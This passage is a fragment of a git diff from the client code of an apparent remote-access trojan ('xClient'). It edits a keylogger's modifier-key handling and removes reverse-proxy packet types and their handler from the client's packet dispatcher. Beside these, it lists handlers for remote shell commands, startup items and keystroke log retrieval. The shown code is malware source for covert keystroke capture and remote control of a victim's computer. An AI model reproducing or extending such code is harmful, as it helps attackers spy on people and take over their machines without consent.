keyStates[(int)KeyloggerKeys.VK_CONTROL] = 0x80; - - if (key.ModifierKeys.AltKeyPressed) - keyStates[(int)KeyloggerKeys.VK_MENU] = 0x80; - - if (key.ModifierKeys.CapsLock && AllowCapitalization) + if (key.ModifierKeys.CapsLock) keyStates[(int)KeyloggerKeys.VK_CAPITAL] = 0x01; if (key.ModifierKeys.NumLock) diff --git a/Client/Program.cs b/Client/Program.cs index cff2efe7..21358417 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -7,7 +7,6 @@ using xClient.Core; using xClient.Core.Commands; using xClient.Core.Keylogger; using xClient.Core.Packets; -using xClient.Core.ReverseProxy; namespace System.Runtime.CompilerServices { @@ -100,10 +99,6 @@ namespace xClient typeof (Core.Packets.ClientPackets.ShellCommandResponse), typeof (Core.Packets.ClientPackets.GetStartupItemsResponse), typeof (Core.Packets.ClientPackets.GetLogsResponse), - typeof (Core.ReverseProxy.Packets.ReverseProxyConnect), - typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse), - typeof (Core.ReverseProxy.Packets.ReverseProxyData), - typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect) }); ConnectClient.ClientState += ClientState; @@ -337,13 +332,6 @@ namespace xClient { CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs)packet, client); } - else if (type == typeof(Core.ReverseProxy.Packets.ReverseProxyConnect) || - type == typeof(Core.ReverseProxy.Packets.ReverseProxyConnectResponse) || - type == typeof(Core.ReverseProxy.Packets.ReverseProxyData) || - type == typeof(Core.ReverseProxy.Packets.ReverseProxyDisconnect)) - { - ReverseProxyCommandHandler.HandleCommand(client, packet); - } } } } \ No newline at end of file